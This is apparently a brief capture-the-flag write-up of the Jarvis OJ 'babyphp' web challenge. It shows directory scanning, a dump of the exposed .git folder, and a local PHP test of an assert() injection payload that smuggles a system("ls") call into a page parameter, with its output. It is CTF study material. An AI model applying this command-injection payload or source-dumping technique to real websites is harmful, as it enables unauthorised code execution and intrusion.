Jarvis OJ-babyphp

1,
dirsearch.py -u http://web.jarvisoj.com:32798/ -e php
2.
GitHack.py http://web.jarvisoj.com:32798/.git/
3.
[root@172 web.jarvisoj.com_32798]# tree
.
├── index.php
└── templates
├── about.php
├── contact.php
├── flag.php
└── home.php

1 directory, 5 files

<?php $file = "templates/" . $page . ".php"; $file = "flag'.system(\"ls ./;\").'"; echo "strpos('$file', '..') === false"."\n"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); //assert("strpos('flag'.system("ls templates/;").'', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

output :
strpos(‘flag’.system(“ls ./;”).’’, ‘…’) === false
index.php
templates
index.php
templates
PHP Warning: assert(): Assertion “file_exists(‘flag’.system(“ls ./;”).’’)” failed in /root/web.jarvisoj.com_32798/index.php on line 13
That file doesn’t exist!

总结:

对 assert 理解不够。
assert(“strpos(‘flag’.system(“ls ./;”).’’, ‘…’) === false”);执行原理

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值